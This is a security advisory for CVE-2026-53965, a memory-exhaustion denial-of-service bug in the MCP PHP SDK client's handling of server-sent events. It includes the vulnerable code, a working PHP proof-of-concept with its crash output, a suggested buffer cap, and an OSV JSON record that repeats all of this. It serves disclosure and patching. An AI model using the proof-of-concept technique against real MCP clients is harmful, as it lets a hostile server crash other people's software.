CVE-2026-53965: MCP PHP SDK Client HttpTransport SSE Buffer (sseBuffer Vulnerability

HIGH
Advisory Identifier: GHSA-7m52-jw36-44r3
CWE-400 CWE-770
Published
Advisory Summary

CVE-2026-53965 is a HIGH client httptransport sse buffer (ssebuffer vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting MCP PHP SDK libraries in the Packagist ecosystem. The issue involves client httptransport sse buffer (ssebuffer .= chunk) grows unbounded when server withholds the event delimiter. Remediation is available by upgrading affected packages to version 0.7.1.

CVE-2026-53965 at a Glance

CVE Identifier CVE-2026-53965
GHSA Identifier GHSA-7m52-jw36-44r3
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product MCP PHP SDK
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-53965

To remediate this vulnerability, upgrade all affected MCP PHP SDK dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mcp/sdk fixed: 0.7.1
Upgrade mcp/sdk to 0.7.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mcp/sdk

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53965, inspect your project dependencies for MCP PHP SDK:

inspect dependencies for mcp/sdk

Analyze the terminal output to locate any version of MCP PHP SDK in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In MCP PHP SDK, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The HTTP client transport in `mcp/sdk` reads a Server-Sent-Events (SSE) response stream incrementally and appends each 4 KiB chunk to an in-memory buffer (`$this->sseBuffer .= $chunk;`) with **no upper bound**. The buffer is only ever flushed when an SSE event delimiter (`"\n\n"`) appears. A remote MCP server (the peer the client connects to) that streams response bytes without ever sending the `"\n\n"` delimiter makes `$sseBuffer` grow without limit until the client process exhausts its PHP `memory_limit` (fatal "Allowed memory size … exhausted") or is killed by the OS OOM-killer. This is a denial-of-service against the MCP **client**: any server it talks to — or a network position that controls the server's response body — can crash the client by withholding the event delimiter while streaming data. ## Impact - **Type:** Denial of service (memory exhaustion / process crash) of the MCP client. - **Who can trigger it:** The remote MCP server endpoint the client connects to via `HttpTransport`, or any party that can control/inject into that server's SSE response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious or compromised server). The buffer growth happens while the transport is reading the response stream, before a complete event is ever parsed. - **Effect:** A response stream of N bytes containing no `"\n\n"` drives the client's resident buffer to track N. A few hundred MB of delimiter-free data is enough to kill a client running with a typical `memory_limit`. - **Severity (suggested, maintainer to confirm):** High — a remote server can reliably crash a connected client over the HTTP/SSE transport. ## How input reaches the sink (reachability) 1. A client connects to a server over the HTTP transport by constructing `Mcp\Client\Transport\HttpTransport` with the server endpoint URL, then runs the connect/request loop. 2. The transport's loop calls `tick()` (line 182), which calls `processSSEStream()` (line 194) on each iteration. 3. `processSSEStream()` reads up to 4096 bytes from the active SSE stream and appends them to `$this->sseBuffer` (line 203). 4. The buffer is only drained inside the `while (false !== ($pos = strpos($this->sseBuffer, "\n\n")))` loop (line 207). If the server never emits `"\n\n"`, the `strpos` never matches, the buffer is never flushed, and it grows on every `tick()` until OOM. ## Vulnerable code `src/Client/Transport/HttpTransport.php` (v0.5.0): ```php private string $sseBuffer = ''; ``` ```php private function processSSEStream(): void { if (null === $this->activeStream) { return; } if (!$this->activeStream->eof()) { $chunk = $this->activeStream->read(4096); if ('' !== $chunk) { $this->sseBuffer .= $chunk; // line 203 — unbounded append } } while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) { $event = substr($this->sseBuffer, 0, $pos); $this->sseBuffer = substr($this->sseBuffer, $pos + 2); if (!empty(trim($event))) { $this->processSSEEvent($event); } } if ($this->activeStream->eof() && empty($this->sseBuffer)) { $this->activeStream = null; } } ``` `$this->sseBuffer .= $chunk;` has no length guard; the drain loop only fires when a `"\n\n"` delimiter is present. ## Proof of concept / End-to-end reproduction (against the released composer package) Environment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test is the real published release `mcp/sdk v0.5.0` (the version that introduced this HTTP client transport), installed from Packagist — not a re-implementation of the sink. Install the released package: ``` $ composer require mcp/sdk:0.5.0 --no-interaction - Installing mcp/sdk (v0.5.0): Extracting archive $ composer show mcp/sdk name : mcp/sdk versions : * v0.5.0 ``` PoC driver (`poc_sse.php`). It exercises the **unmodified** released `processSSEStream()`; the `ProbeHttp` subclass uses reflection only to inject the active SSE stream and to invoke the inherited private method — no transport logic is overridden. `FloodStream` is a real PSR-7 `StreamInterface` that yields a large body (4096 bytes per `read()`) that never contains `"\n\n"`, mirroring an adversarial SSE server response. The null PSR-18/17 stubs only satisfy the constructor; the sink reads exclusively from the injected stream and never touches the HTTP client: ```php <?php require __DIR__ . '/vendor/autoload.php'; use Mcp\Client\Transport\HttpTransport; use Psr\Http\Message\StreamInterface; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; final class FloodStream implements StreamInterface { private int $served = 0; public function __construct(private int $total) {} public function read(int $length): string { if ($this->served >= $this->total) return ''; $n = min($length, $this->total - $this->served); $this->served += $n; return str_repeat('A', $n); // never contains "\n\n" } public function eof(): bool { return $this->served >= $this->total; } public function __toString(): string { return ''; } public function close(): void {} public function detach() { return null; } public function getSize(): ?int { return $this->total; } public function tell(): int { return $this->served; } public function isSeekable(): bool { return false; } public function seek(int $o, int $w = SEEK_SET): void {} public function rewind(): void {} public function isWritable(): bool { return false; } public function write(string $s): int { return 0; } public function isReadable(): bool { return true; } public function getContents(): string { return ''; } public function getMetadata(?string $key = null) { return null; } } final class NullHttpClient implements ClientInterface { public function sendRequest(RequestInterface $request): ResponseInterface { throw new \RuntimeException('not used'); } } final class NullRequestFactory implements RequestFactoryInterface { public function createRequest(string $method, $uri): RequestInterface { throw new \RuntimeException('not used'); } } final class NullStreamFactory implements StreamFactoryInterface { public function createStream(string $content = ''): StreamInterface { throw new \RuntimeException('not used'); } public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \RuntimeException('not used'); } public function createStreamFromResource($resource): StreamInterface { throw new \RuntimeException('not used'); } } final class ProbeHttp extends HttpTransport { public function inject(StreamInterface $s): void { (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s); } public function pump(): void { (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this); } } function fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; } $mode = $argv[1] ?? 'attack'; $t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory()); if ($mode === 'control') { $body = ''; for ($i=0;$i<1000;$i++) $body .= "event: message\ndata: {\"jsonrpc\":\"2.0\",\"id\":$i}\n\n"; $tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp); $t->inject(new FloodStream(0)); // replaced below by a real stream over $tmp $stream = new class($tmp) implements StreamInterface { public function __construct(private $h) {} public function read(int $l): string { return (string) fread($this->h, $l); } public function eof(): bool { return feof($this->h); } public function __toString(): string { return ''; } public function close(): void {} public function detach() { return null; } public function getSize(): ?int { return null; } public function tell(): int { return 0; } public function isSeekable(): bool { return false; } public function seek(int $o,int $w=SEEK_SET): void {} public function rewind(): void {} public function isWritable(): bool { return false; } public function write(string $s): int { return 0; } public function isReadable(): bool { return true; } public function getContents(): string { return ''; } public function getMetadata(?string $k=null) { return null; } }; $t->inject($stream); $before = memory_get_usage(true); for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump(); fwrite(STDERR,"[control] events fed : 1000 well-formed SSE events (delimited by \\n\\n)\n"); fwrite(STDERR,"[control] mem before : ".fmtMB($before)."\n"); fwrite(STDERR,"[control] mem after : ".fmtMB(memory_get_usage(true))."\n"); fwrite(STDERR,"[control] RESULT : bounded, no OOM (each event flushed on \\n\\n)\n"); exit(0); } ini_set('memory_limit','256M'); $SIZE = 400*1024*1024; // 400MB SSE body, NO "\n\n" $t->inject(new FloodStream($SIZE)); fwrite(STDERR,"[attack] SSE body : ".fmtMB($SIZE)." with NO \\n\\n delimiter\n"); fwrite(STDERR,"[attack] memory_limit : ".ini_get('memory_limit')."\n"); fwrite(STDERR,"[attack] mem before : ".fmtMB(memory_get_usage(true))."\n"); register_shutdown_function(function() { $err = error_get_last(); fwrite(STDERR,"[attack] peak mem : ".number_format(memory_get_peak_usage(true)/1048576,1)." MB\n"); if ($err && stripos($err['message'],'memory')!==false) fwrite(STDERR,"[attack] RESULT : OOM — ".trim($err['message'])."\n"); }); for ($i=0;;$i++) { $t->pump(); } // each pump reads one 4096 chunk -> sseBuffer ``` Negative control — 1000 well-formed SSE events delimited by `"\n\n"`: each pump flushes complete events, the buffer drains, memory stays flat: ``` $ php poc_sse.php control [control] events fed : 1000 well-formed SSE events (delimited by \n\n) [control] mem before : 2.0 MB [control] mem after : 2.0 MB [control] RESULT : bounded, no OOM (each event flushed on \n\n) ``` Attack — a 400 MB SSE body with no `"\n\n"`, client heap capped at 256 MB to make the crash deterministic (a production client has a larger or unbounded limit and is killed by the OS at whatever ceiling exists): ``` $ php poc_sse.php attack [attack] SSE body : 400.0 MB with NO \n\n delimiter [attack] memory_limit : 256M [attack] mem before : 2.0 MB PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203 Stack trace: #0 [internal function]: Mcp\Client\Transport\HttpTransport->processSSEStream() #1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp)) #2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump() #3 {main} [attack] peak mem : 256.0 MB [attack] RESULT : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) ``` The fatal error lands on the released vendor file `vendor/mcp/sdk/src/Client/Transport/HttpTransport.php` line 203, inside `processSSEStream()`, while the delimiter-respecting control workload stays at 2.0 MB. This confirms the unbounded SSE accumulation on the real released package. ## Suggested fix Bound the SSE buffer length and reject (or abort the stream) when it exceeds a configured maximum, so a server cannot force unbounded growth before a complete event arrives. For example: ```php private const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable private function processSSEStream(): void { if (null === $this->activeStream) { return; } if (!$this->activeStream->eof()) { $chunk = $this->activeStream->read(4096); if ('' !== $chunk) { if (\strlen($this->sseBuffer) + \strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) { $this->sseBuffer = ''; $this->activeStream = null; $this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [ 'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES, ]); return; } $this->sseBuffer .= $chunk; } } while (false !== ($pos = strpos($this->sseBuffer, "\n\n"))) { $event = substr($this->sseBuffer, 0, $pos); $this->sseBuffer = substr($this->sseBuffer, $pos + 2); if (!empty(trim($event))) { $this->processSSEEvent($event); } } if ($this->activeStream->eof() && empty($this->sseBuffer)) { $this->activeStream = null; } } ``` The cap value and the over-limit policy (abort vs. error) are the maintainers' call. A fix PR against a private fork of the advisory workspace accompanies this report. ## Fix PR A patch bounding the SSE buffer is provided as a pull request against the private temporary fork created for this advisory (the GHSA workspace fork). Details and link are added to this advisory's thread once the private fork PR is opened. The patch keeps the SSE event-parsing behaviour unchanged and only caps the buffer. ## Credit Reported by tonghuaroot.

CVE-2026-53965 Affected MCP PHP SDK Versions

1 component(s)
Fixed Versions:
0.7.1
Product / Package Ecosystem Affected Versions Fixed Version
mcp/sdk
Packagist
≥ 0.5.0
< 0.7.1
0.7.1

References

Frequently Asked Questions

What is CVE-2026-53965?
CVE-2026-53965 is a security vulnerability in MCP PHP SDK involving client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter under CWE-400: Uncontrolled Resource Consumption.
Which MCP PHP SDK versions are affected?
Affected versions include releases prior to 0.7.1 across affected packages: mcp/sdk.
What version fixes CVE-2026-53965?
Upgrading to 0.7.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mcp/sdk affected?
Yes, mcp/sdk is affected in releases prior to 0.7.1. Upgrade your dependency to 0.7.1 or later.
What CWE is associated with CVE-2026-53965?
CVE-2026-53965 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Packagist dependencies for CVE-2026-53965?
Run the dependency tree command: 'inspect dependencies for mcp/sdk'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7m52-jw36-44r3",
  "modified" : "2026-08-19T19:17:50Z",
  "published" : "2026-08-19T19:17:49Z",
  "aliases" : [ "CVE-2026-53965" ],
  "summary" : "MCP PHP SDK: client HttpTransport SSE buffer (sseBuffer .= chunk) grows unbounded when server withholds the event delimiter",
  "details" : "## Summary\n\nThe HTTP client transport in `mcp/sdk` reads a Server-Sent-Events (SSE) response\nstream incrementally and appends each 4 KiB chunk to an in-memory buffer\n(`$this->sseBuffer .= $chunk;`) with **no upper bound**. The buffer is only ever\nflushed when an SSE event delimiter (`\"\\n\\n\"`) appears. A remote MCP server (the\npeer the client connects to) that streams response bytes without ever sending the\n`\"\\n\\n\"` delimiter makes `$sseBuffer` grow without limit until the client process\nexhausts its PHP `memory_limit` (fatal \"Allowed memory size … exhausted\") or is\nkilled by the OS OOM-killer.\n\nThis is a denial-of-service against the MCP **client**: any server it talks to —\nor a network position that controls the server's response body — can crash the\nclient by withholding the event delimiter while streaming data.\n\n## Impact\n\n- **Type:** Denial of service (memory exhaustion / process crash) of the MCP client.\n- **Who can trigger it:** The remote MCP server endpoint the client connects to via\n  `HttpTransport`, or any party that can control/inject into that server's SSE\n  response body (e.g. a man-in-the-middle on a plaintext endpoint, or a malicious\n  or compromised server). The buffer growth happens while the transport is reading\n  the response stream, before a complete event is ever parsed.\n- **Effect:** A response stream of N bytes containing no `\"\\n\\n\"` drives the client's\n  resident buffer to track N. A few hundred MB of delimiter-free data is enough to\n  kill a client running with a typical `memory_limit`.\n- **Severity (suggested, maintainer to confirm):** High — a remote server can\n  reliably crash a connected client over the HTTP/SSE transport.\n\n## How input reaches the sink (reachability)\n\n1. A client connects to a server over the HTTP transport by constructing\n   `Mcp\\Client\\Transport\\HttpTransport` with the server endpoint URL, then runs\n   the connect/request loop.\n2. The transport's loop calls `tick()` (line 182), which calls\n   `processSSEStream()` (line 194) on each iteration.\n3. `processSSEStream()` reads up to 4096 bytes from the active SSE stream and\n   appends them to `$this->sseBuffer` (line 203).\n4. The buffer is only drained inside the `while (false !== ($pos = strpos($this->sseBuffer, \"\\n\\n\")))`\n   loop (line 207). If the server never emits `\"\\n\\n\"`, the `strpos` never matches,\n   the buffer is never flushed, and it grows on every `tick()` until OOM.\n\n## Vulnerable code\n\n`src/Client/Transport/HttpTransport.php` (v0.5.0):\n\n```php\n    private string $sseBuffer = '';\n```\n\n```php\n    private function processSSEStream(): void\n    {\n        if (null === $this->activeStream) {\n            return;\n        }\n\n        if (!$this->activeStream->eof()) {\n            $chunk = $this->activeStream->read(4096);\n            if ('' !== $chunk) {\n                $this->sseBuffer .= $chunk;          // line 203 — unbounded append\n            }\n        }\n\n        while (false !== ($pos = strpos($this->sseBuffer, \"\\n\\n\"))) {\n            $event = substr($this->sseBuffer, 0, $pos);\n            $this->sseBuffer = substr($this->sseBuffer, $pos + 2);\n\n            if (!empty(trim($event))) {\n                $this->processSSEEvent($event);\n            }\n        }\n\n        if ($this->activeStream->eof() && empty($this->sseBuffer)) {\n            $this->activeStream = null;\n        }\n    }\n```\n\n`$this->sseBuffer .= $chunk;` has no length guard; the drain loop only fires when a\n`\"\\n\\n\"` delimiter is present.\n\n## Proof of concept / End-to-end reproduction (against the released composer package)\n\nEnvironment: macOS arm64, PHP 8.5.6 (cli), Composer 2.9.8. The package under test\nis the real published release `mcp/sdk v0.5.0` (the version that introduced this\nHTTP client transport), installed from Packagist — not a re-implementation of the\nsink.\n\nInstall the released package:\n\n```\n$ composer require mcp/sdk:0.5.0 --no-interaction\n  - Installing mcp/sdk (v0.5.0): Extracting archive\n$ composer show mcp/sdk\nname     : mcp/sdk\nversions : * v0.5.0\n```\n\nPoC driver (`poc_sse.php`). It exercises the **unmodified** released\n`processSSEStream()`; the `ProbeHttp` subclass uses reflection only to inject the\nactive SSE stream and to invoke the inherited private method — no transport logic\nis overridden. `FloodStream` is a real PSR-7 `StreamInterface` that yields a large\nbody (4096 bytes per `read()`) that never contains `\"\\n\\n\"`, mirroring an\nadversarial SSE server response. The null PSR-18/17 stubs only satisfy the\nconstructor; the sink reads exclusively from the injected stream and never touches\nthe HTTP client:\n\n```php\n<?php\nrequire __DIR__ . '/vendor/autoload.php';\nuse Mcp\\Client\\Transport\\HttpTransport;\nuse Psr\\Http\\Message\\StreamInterface;\nuse Psr\\Http\\Client\\ClientInterface;\nuse Psr\\Http\\Message\\RequestFactoryInterface;\nuse Psr\\Http\\Message\\StreamFactoryInterface;\nuse Psr\\Http\\Message\\RequestInterface;\nuse Psr\\Http\\Message\\ResponseInterface;\n\nfinal class FloodStream implements StreamInterface {\n    private int $served = 0;\n    public function __construct(private int $total) {}\n    public function read(int $length): string {\n        if ($this->served >= $this->total) return '';\n        $n = min($length, $this->total - $this->served);\n        $this->served += $n;\n        return str_repeat('A', $n);           // never contains \"\\n\\n\"\n    }\n    public function eof(): bool { return $this->served >= $this->total; }\n    public function __toString(): string { return ''; }\n    public function close(): void {}\n    public function detach() { return null; }\n    public function getSize(): ?int { return $this->total; }\n    public function tell(): int { return $this->served; }\n    public function isSeekable(): bool { return false; }\n    public function seek(int $o, int $w = SEEK_SET): void {}\n    public function rewind(): void {}\n    public function isWritable(): bool { return false; }\n    public function write(string $s): int { return 0; }\n    public function isReadable(): bool { return true; }\n    public function getContents(): string { return ''; }\n    public function getMetadata(?string $key = null) { return null; }\n}\nfinal class NullHttpClient implements ClientInterface {\n    public function sendRequest(RequestInterface $request): ResponseInterface { throw new \\RuntimeException('not used'); }\n}\nfinal class NullRequestFactory implements RequestFactoryInterface {\n    public function createRequest(string $method, $uri): RequestInterface { throw new \\RuntimeException('not used'); }\n}\nfinal class NullStreamFactory implements StreamFactoryInterface {\n    public function createStream(string $content = ''): StreamInterface { throw new \\RuntimeException('not used'); }\n    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface { throw new \\RuntimeException('not used'); }\n    public function createStreamFromResource($resource): StreamInterface { throw new \\RuntimeException('not used'); }\n}\nfinal class ProbeHttp extends HttpTransport {\n    public function inject(StreamInterface $s): void {\n        (new ReflectionProperty(HttpTransport::class, 'activeStream'))->setValue($this, $s);\n    }\n    public function pump(): void {\n        (new ReflectionMethod(HttpTransport::class, 'processSSEStream'))->invoke($this);\n    }\n}\nfunction fmtMB(int $b): string { return number_format($b/1048576,1).' MB'; }\n$mode = $argv[1] ?? 'attack';\n$t = new ProbeHttp('http://127.0.0.1:9/mcp', [], new NullHttpClient(), new NullRequestFactory(), new NullStreamFactory());\n\nif ($mode === 'control') {\n    $body = '';\n    for ($i=0;$i<1000;$i++) $body .= \"event: message\\ndata: {\\\"jsonrpc\\\":\\\"2.0\\\",\\\"id\\\":$i}\\n\\n\";\n    $tmp = fopen('php://temp','r+'); fwrite($tmp,$body); rewind($tmp);\n    $t->inject(new FloodStream(0));   // replaced below by a real stream over $tmp\n    $stream = new class($tmp) implements StreamInterface {\n        public function __construct(private $h) {}\n        public function read(int $l): string { return (string) fread($this->h, $l); }\n        public function eof(): bool { return feof($this->h); }\n        public function __toString(): string { return ''; }\n        public function close(): void {}\n        public function detach() { return null; }\n        public function getSize(): ?int { return null; }\n        public function tell(): int { return 0; }\n        public function isSeekable(): bool { return false; }\n        public function seek(int $o,int $w=SEEK_SET): void {}\n        public function rewind(): void {}\n        public function isWritable(): bool { return false; }\n        public function write(string $s): int { return 0; }\n        public function isReadable(): bool { return true; }\n        public function getContents(): string { return ''; }\n        public function getMetadata(?string $k=null) { return null; }\n    };\n    $t->inject($stream);\n    $before = memory_get_usage(true);\n    for ($i=0;$i<5000 && !$stream->eof();$i++) $t->pump();\n    fwrite(STDERR,\"[control] events fed   : 1000 well-formed SSE events (delimited by \\\\n\\\\n)\\n\");\n    fwrite(STDERR,\"[control] mem before   : \".fmtMB($before).\"\\n\");\n    fwrite(STDERR,\"[control] mem after    : \".fmtMB(memory_get_usage(true)).\"\\n\");\n    fwrite(STDERR,\"[control] RESULT       : bounded, no OOM (each event flushed on \\\\n\\\\n)\\n\");\n    exit(0);\n}\n\nini_set('memory_limit','256M');\n$SIZE = 400*1024*1024;                              // 400MB SSE body, NO \"\\n\\n\"\n$t->inject(new FloodStream($SIZE));\nfwrite(STDERR,\"[attack] SSE body         : \".fmtMB($SIZE).\" with NO \\\\n\\\\n delimiter\\n\");\nfwrite(STDERR,\"[attack] memory_limit     : \".ini_get('memory_limit').\"\\n\");\nfwrite(STDERR,\"[attack] mem before       : \".fmtMB(memory_get_usage(true)).\"\\n\");\nregister_shutdown_function(function() {\n    $err = error_get_last();\n    fwrite(STDERR,\"[attack] peak mem         : \".number_format(memory_get_peak_usage(true)/1048576,1).\" MB\\n\");\n    if ($err && stripos($err['message'],'memory')!==false)\n        fwrite(STDERR,\"[attack] RESULT           : OOM — \".trim($err['message']).\"\\n\");\n});\nfor ($i=0;;$i++) { $t->pump(); }      // each pump reads one 4096 chunk -> sseBuffer\n```\n\nNegative control — 1000 well-formed SSE events delimited by `\"\\n\\n\"`: each pump\nflushes complete events, the buffer drains, memory stays flat:\n\n```\n$ php poc_sse.php control\n[control] events fed   : 1000 well-formed SSE events (delimited by \\n\\n)\n[control] mem before   : 2.0 MB\n[control] mem after    : 2.0 MB\n[control] RESULT       : bounded, no OOM (each event flushed on \\n\\n)\n```\n\nAttack — a 400 MB SSE body with no `\"\\n\\n\"`, client heap capped at 256 MB to make\nthe crash deterministic (a production client has a larger or unbounded limit and\nis killed by the OS at whatever ceiling exists):\n\n```\n$ php poc_sse.php attack\n[attack] SSE body         : 400.0 MB with NO \\n\\n delimiter\n[attack] memory_limit     : 256M\n[attack] mem before       : 2.0 MB\nPHP Fatal error:  Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes) in /private/tmp/work/vendor/mcp/sdk/src/Client/Transport/HttpTransport.php on line 203\nStack trace:\n#0 [internal function]: Mcp\\Client\\Transport\\HttpTransport->processSSEStream()\n#1 /private/tmp/work/poc_sse.php(69): ReflectionMethod->invoke(Object(ProbeHttp))\n#2 /private/tmp/work/poc_sse.php(129): ProbeHttp->pump()\n#3 {main}\n[attack] peak mem         : 256.0 MB\n[attack] RESULT           : OOM — Allowed memory size of 268435456 bytes exhausted (tried to allocate 264241184 bytes)\n```\n\nThe fatal error lands on the released vendor file\n`vendor/mcp/sdk/src/Client/Transport/HttpTransport.php` line 203, inside\n`processSSEStream()`, while the delimiter-respecting control workload stays at\n2.0 MB. This confirms the unbounded SSE accumulation on the real released package.\n\n## Suggested fix\n\nBound the SSE buffer length and reject (or abort the stream) when it exceeds a\nconfigured maximum, so a server cannot force unbounded growth before a complete\nevent arrives. For example:\n\n```php\nprivate const MAX_SSE_BUFFER_BYTES = 8 * 1024 * 1024; // 8 MiB, configurable\n\nprivate function processSSEStream(): void\n{\n    if (null === $this->activeStream) {\n        return;\n    }\n\n    if (!$this->activeStream->eof()) {\n        $chunk = $this->activeStream->read(4096);\n        if ('' !== $chunk) {\n            if (\\strlen($this->sseBuffer) + \\strlen($chunk) > self::MAX_SSE_BUFFER_BYTES) {\n                $this->sseBuffer = '';\n                $this->activeStream = null;\n                $this->logger->warning('Aborting SSE stream: buffer exceeded maximum size without a complete event.', [\n                    'max_sse_buffer_bytes' => self::MAX_SSE_BUFFER_BYTES,\n                ]);\n\n                return;\n            }\n            $this->sseBuffer .= $chunk;\n        }\n    }\n\n    while (false !== ($pos = strpos($this->sseBuffer, \"\\n\\n\"))) {\n        $event = substr($this->sseBuffer, 0, $pos);\n        $this->sseBuffer = substr($this->sseBuffer, $pos + 2);\n\n        if (!empty(trim($event))) {\n            $this->processSSEEvent($event);\n        }\n    }\n\n    if ($this->activeStream->eof() && empty($this->sseBuffer)) {\n        $this->activeStream = null;\n    }\n}\n```\n\nThe cap value and the over-limit policy (abort vs. error) are the maintainers'\ncall. A fix PR against a private fork of the advisory workspace accompanies this\nreport.\n\n## Fix PR\n\nA patch bounding the SSE buffer is provided as a pull request against the private\ntemporary fork created for this advisory (the GHSA workspace fork). Details and\nlink are added to this advisory's thread once the private fork PR is opened. The\npatch keeps the SSE event-parsing behaviour unchanged and only caps the buffer.\n\n## Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "mcp/sdk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.5.0"
      }, {
        "fixed" : "0.7.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/php-sdk/security/advisories/GHSA-7m52-jw36-44r3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/mcp/sdk/CVE-2026-53965.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/modelcontextprotocol/php-sdk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/php-sdk/releases/tag/v0.7.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-19T19:17:49Z",
    "nvd_published_at" : null
  }
}